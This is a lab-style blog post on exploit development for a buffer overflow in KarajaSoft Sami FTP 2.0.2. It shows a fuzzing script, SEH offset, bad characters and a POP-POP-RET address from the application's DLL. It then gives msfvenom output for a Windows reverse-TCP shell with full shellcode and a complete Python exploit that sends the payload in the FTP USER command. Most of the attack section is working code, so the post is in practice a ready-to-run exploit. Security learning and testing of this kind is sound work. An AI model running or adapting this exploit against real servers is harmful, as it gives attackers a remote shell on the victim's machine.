Posts KarajaSoft Sami FTP 2.0.2 buffer overflow exploit
Post
Cancel

KarajaSoft Sami FTP 2.0.2 buffer overflow exploit

Introduction

In this blog post we will go thru finding vulnerability in KarajaSoft Sami FTP 2.0.2 application and (re)writing exploit. Finding vulnerability in this application is a bit tricky without looking at existing exploits as it requires user interaction to actually trigger vulnerability and exploit. More on this in following chapters.

Application can be downloaded from following url: https://web.archive.org/web/20070104022116/http://www.karjasoft.com/files/samiftp/samiftpd_install.exe

Fuzzing

If we just start application and try to fuzz USER or PASS commands, which are the first two commands we send when connecting to the server, application will most probably not crash, at least not in a useful way. The reason for such behaviour is that vulnerability exists in function responsible for displaying log data in GUI. When user/administrator opens log, vulnerable part of application reads data from log file and crash occurs. If GUI is not opened at the time of fuzzing - application won’t crash.

KarajaSoft Sami FTP BoF

Also, application stores log in SamiFTP.binlog file located at: C:\Program Files\PMSystem\Plugins\Sami FTP Server\. Be sure to delete that file after the crash occurs as payload is stored in that file and every user access to log will load payload from file and crash application.

KarajaSoft Sami FTP BoF

BooFuzz fuzzer didn’t manage to crash application in useful way but it did record some anomalies (application would stop responding) when fuzzing USER command. In order to dig deeper we can create simple fuzzing script which would run a loop increasing payload length by 2 chars.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

host = "172.16.24.213"
port = 21

for x in range (500,10000):
   buffer = "USER " + x * "AA" +  "\r\n"
   buffer += "PASS pero\r\n"
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((host,port))
   banner = s.recv(1024)
   s.send(buffer)
   print (str(x))
   x=x+1
   s.close()

print ("[+] Payload sent")

Application crashed when fuzzer sent 506 double “AA” charactes. We used two A characters to speed up fuzzing.

KarajaSoft Sami FTP BoF

KarajaSoft Sami FTP BoF

Great, SEH is overwritten with “A” values:

KarajaSoft Sami FTP BoF

Finding SEH location

Next steps are the same as in any other buferoverflow exploit. These steps are explained in previous blog posts (BigAnt server, Easy Chat server, MinaliC etc.).

  • SEH location

KarajaSoft Sami FTP BoF

1
2
root@kali32bit:~/repository/ctp/ftp# msf-pattern_offset -l 1020 -q 41307541
[*] Exact match at offset 600
  • Bad chars

Following chars were found to be bad: \x00\x0a\x0d\x2f.

  • POP,POP,RET address

Mona was used to find address with POP, POP, RET instruction set. Luckily one of the addresses is located in application dll (tmp0.dll) so exploit won’t be dependant on operating system service pack or language version.

0x1001fcd7 : pop esi # pop ebx # retn | {PAGE_EXECUTE_READWRITE} [tmp0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\PMSystem\Temp\tmp0.dll)

Reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -a x86 -b "\x00\x0a\x0d\x2f"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xb8\x3e\xf0\x27\x32\xdb\xdb\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x7c\xfe\xc5"
buf += b"\xc7\x7c\x16\x8b\x28\x7c\xe7\xec\xa1\x99\xd6\x2c\xd5"
buf += b"\xea\x49\x9d\x9d\xbe\x65\x56\xf3\x2a\xfd\x1a\xdc\x5d"
buf += b"\xb6\x91\x3a\x50\x47\x89\x7f\xf3\xcb\xd0\x53\xd3\xf2"
buf += b"\x1a\xa6\x12\x32\x46\x4b\x46\xeb\x0c\xfe\x76\x98\x59"
buf += b"\xc3\xfd\xd2\x4c\x43\xe2\xa3\x6f\x62\xb5\xb8\x29\xa4"
buf += b"\x34\x6c\x42\xed\x2e\x71\x6f\xa7\xc5\x41\x1b\x36\x0f"
buf += b"\x98\xe4\x95\x6e\x14\x17\xe7\xb7\x93\xc8\x92\xc1\xe7"
buf += b"\x75\xa5\x16\x95\xa1\x20\x8c\x3d\x21\x92\x68\xbf\xe6"
buf += b"\x45\xfb\xb3\x43\x01\xa3\xd7\x52\xc6\xd8\xec\xdf\xe9"
buf += b"\x0e\x65\x9b\xcd\x8a\x2d\x7f\x6f\x8b\x8b\x2e\x90\xcb"
buf += b"\x73\x8e\x34\x80\x9e\xdb\x44\xcb\xf6\x28\x65\xf3\x06"
buf += b"\x27\xfe\x80\x34\xe8\x54\x0e\x75\x61\x73\xc9\x7a\x58"
buf += b"\xc3\x45\x85\x63\x34\x4c\x42\x37\x64\xe6\x63\x38\xef"
buf += b"\xf6\x8c\xed\xa0\xa6\x22\x5e\x01\x16\x83\x0e\xe9\x7c"
buf += b"\x0c\x70\x09\x7f\xc6\x19\xa0\x7a\x81\x89\x25\x9c\x9d"
buf += b"\xba\x47\x9c\x0c\x67\xc1\x7a\x44\x87\x87\xd5\xf1\x3e"
buf += b"\x82\xad\x60\xbe\x18\xc8\xa3\x34\xaf\x2d\x6d\xbd\xda"
buf += b"\x3d\x1a\x4d\x91\x1f\x8d\x52\x0f\x37\x51\xc0\xd4\xc7"
buf += b"\x1c\xf9\x42\x90\x49\xcf\x9a\x74\x64\x76\x35\x6a\x75"
buf += b"\xee\x7e\x2e\xa2\xd3\x81\xaf\x27\x6f\xa6\xbf\xf1\x70"
buf += b"\xe2\xeb\xad\x26\xbc\x45\x08\x91\x0e\x3f\xc2\x4e\xd9"
buf += b"\xd7\x93\xbc\xda\xa1\x9b\xe8\xac\x4d\x2d\x45\xe9\x72"
buf += b"\x82\x01\xfd\x0b\xfe\xb1\x02\xc6\xba\xc2\x48\x4a\xea"
buf += b"\x4a\x15\x1f\xae\x16\xa6\xca\xed\x2e\x25\xfe\x8d\xd4"
buf += b"\x35\x8b\x88\x91\xf1\x60\xe1\x8a\x97\x86\x56\xaa\xbd"

Final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 21

# POP, POP, RET: 0x1001fcd7
SEH = "\xd7\xfc\x01\x10"
JMP = "\xeb\x07"

buf =  b""
buf += b"\xb8\x3e\xf0\x27\x32\xdb\xdb\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x52\x83\xea\xfc\x31\x42\x0e\x03\x7c\xfe\xc5"
buf += b"\xc7\x7c\x16\x8b\x28\x7c\xe7\xec\xa1\x99\xd6\x2c\xd5"
buf += b"\xea\x49\x9d\x9d\xbe\x65\x56\xf3\x2a\xfd\x1a\xdc\x5d"
buf += b"\xb6\x91\x3a\x50\x47\x89\x7f\xf3\xcb\xd0\x53\xd3\xf2"
buf += b"\x1a\xa6\x12\x32\x46\x4b\x46\xeb\x0c\xfe\x76\x98\x59"
buf += b"\xc3\xfd\xd2\x4c\x43\xe2\xa3\x6f\x62\xb5\xb8\x29\xa4"
buf += b"\x34\x6c\x42\xed\x2e\x71\x6f\xa7\xc5\x41\x1b\x36\x0f"
buf += b"\x98\xe4\x95\x6e\x14\x17\xe7\xb7\x93\xc8\x92\xc1\xe7"
buf += b"\x75\xa5\x16\x95\xa1\x20\x8c\x3d\x21\x92\x68\xbf\xe6"
buf += b"\x45\xfb\xb3\x43\x01\xa3\xd7\x52\xc6\xd8\xec\xdf\xe9"
buf += b"\x0e\x65\x9b\xcd\x8a\x2d\x7f\x6f\x8b\x8b\x2e\x90\xcb"
buf += b"\x73\x8e\x34\x80\x9e\xdb\x44\xcb\xf6\x28\x65\xf3\x06"
buf += b"\x27\xfe\x80\x34\xe8\x54\x0e\x75\x61\x73\xc9\x7a\x58"
buf += b"\xc3\x45\x85\x63\x34\x4c\x42\x37\x64\xe6\x63\x38\xef"
buf += b"\xf6\x8c\xed\xa0\xa6\x22\x5e\x01\x16\x83\x0e\xe9\x7c"
buf += b"\x0c\x70\x09\x7f\xc6\x19\xa0\x7a\x81\x89\x25\x9c\x9d"
buf += b"\xba\x47\x9c\x0c\x67\xc1\x7a\x44\x87\x87\xd5\xf1\x3e"
buf += b"\x82\xad\x60\xbe\x18\xc8\xa3\x34\xaf\x2d\x6d\xbd\xda"
buf += b"\x3d\x1a\x4d\x91\x1f\x8d\x52\x0f\x37\x51\xc0\xd4\xc7"
buf += b"\x1c\xf9\x42\x90\x49\xcf\x9a\x74\x64\x76\x35\x6a\x75"
buf += b"\xee\x7e\x2e\xa2\xd3\x81\xaf\x27\x6f\xa6\xbf\xf1\x70"
buf += b"\xe2\xeb\xad\x26\xbc\x45\x08\x91\x0e\x3f\xc2\x4e\xd9"
buf += b"\xd7\x93\xbc\xda\xa1\x9b\xe8\xac\x4d\x2d\x45\xe9\x72"
buf += b"\x82\x01\xfd\x0b\xfe\xb1\x02\xc6\xba\xc2\x48\x4a\xea"
buf += b"\x4a\x15\x1f\xae\x16\xa6\xca\xed\x2e\x25\xfe\x8d\xd4"
buf += b"\x35\x8b\x88\x91\xf1\x60\xe1\x8a\x97\x86\x56\xaa\xbd"

buffer = "USER " + (600 - len(JMP)) * "\x90" + JMP + SEH + "\x90" * 10 + buf + (1020 - 600 - len(JMP) - len(SEH) - 10 - len(buf)) * "\x90" + "\r\n"
buffer += "PASS pero\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
banner = s.recv(1024)
s.send(buffer)
s.close()

print ("[+] Payload sent")

Result:

KarajaSoft Sami FTP BoF

KarajaSoft Sami FTP BoF

This post is licensed under CC BY 4.0 by the author.